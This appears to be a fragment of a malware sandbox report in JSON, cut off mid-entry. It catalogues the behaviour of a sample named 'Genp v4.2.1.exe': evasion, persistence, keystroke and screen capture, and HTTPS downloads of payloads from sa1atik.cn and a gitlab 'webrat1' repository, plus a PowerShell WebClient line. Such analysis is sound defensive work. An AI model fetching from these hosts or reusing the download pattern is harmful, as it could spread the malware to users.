IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"Genpv4.2.1.exe\" writes to a file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to schedule tasks using COM objects","description":"Observed string: \"CLSID\\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":3,"id":"string-400","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"svchost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"OSPPSVC.EXE\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$43","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$45","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$46","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"Genpv4.2.1.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"Genpv4.2.1.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll.aux\"\n \"Genpv4.2.1.exe\" reads file \"c:\\genpv4.2.1.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"Found reference to API \"Schedule.Service.1\" (Indicator: \"Schedule.Service\"; Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Queries physical drive (often used to detect virtual machines)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Genpv4.2.1.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\MSCOREE.DLL\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\apphelp.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Genpv4.2.1.exe\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"Genpv4.2.1.exe\" trying to touch file \"C:\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"OSPPSVC.EXE\" touched file \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\OSPPSVC.EXE\"\n \"OSPPSVC.EXE\" touched file \"C:\\Program Files\\Google\\Chrome\\Application\\OSPPSVC.EXE\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"Genpv4.2.1.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe\"\n \"Genpv4.2.1.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe\"\n \"Genpv4.2.1.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini\"\n \"Genpv4.2.1.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe\"\n \"Genpv4.2.1.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe\"\n \"Genpv4.2.1.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini\"\n \"GenP-v4.2.1.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini\"\n \"GenP-v4.2.1.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Genpv4.2.1.exe\" writes file \"c:\\programdata\\microsoft\\windows\\wer\\temp\\c43862135138\\genp-v4.2.1.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WNetUseConnectionW\" (Indicator: \"WNetUseConnection\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"WNetGetConnection\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00001656-00000C2C-2967944667\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp, 00000000-00006656.00000002.261062.082D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001656-00000C2C-2968066051\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /sa1at/\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/7z.dll\"\n Found http requests in header \"GET /users/sign_in\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/7z.exe\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll\"\n Found http requests in header \"GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"Found reference to API \"$webClient = New-Object System.Net.WebClient\" (Indicator: \"System.Net.WebClient\"; File: \"AMSI\")\n Found reference to API \"$webClient = New-Object System.Net.WebClient\" (Indicator: \"System.Net.WebClient\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4d","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$4e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"cloudflare-dns.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec\n Observed JA3 fingerprint: 1e93d985c806ca627b3b564ad06cc0c3\n Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \"%WINDIR%\\System32\\drivers\\etc\\hosts.bak\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00007688-00000C2E-36291468010\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://sa1atik.cn/sa1at/\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll\n Found HTTPS GET request to https://gitlab.com/users/sign_in\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/MSTSCLib.dll\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll\n Found HTTPS GET request to https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Sends a suspicious GET request","description":"\"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 79395\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-19","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"sa1atik.cn\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"1.1.1.1\" on port \"443\"\n HTTPS traffic to \"104.16.249.249\" on port \"443\"\n HTTPS traffic to \"185.103.164.74\" on port \"443\"\n HTTPS traffic to \"151.101.66.132\" on port \"443\"\n HTTPS traffic to \"172.65.251.78\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"\n YARA signature for Djb2 Hash Algorithm matched on file \"GenP-v4.2.1.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007652\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00001656\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00006656\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinW\" (Indicator: \"EmptyRecycleBin\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001656.00000002.257253.0185D000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005740.00000000.258418.01400000.00000004.mdmp, 00000000-00005740.00000001.258505.01400000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.08A21000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"Genp v4.2.1.exe\")\n Found string \"DragQueryFileW\" (File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \",,RtlGetNtProductType,NTDLL.dll,\"01:06:10.32\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001656.00000001.256170.0182B000.00000004.mdmp\n 00000000-00001656.00000002.257253.0182B000.00000004.mdmp\"), Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"VkKeyScanW\" (Indicator: \"VkKeyScan\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"Genp 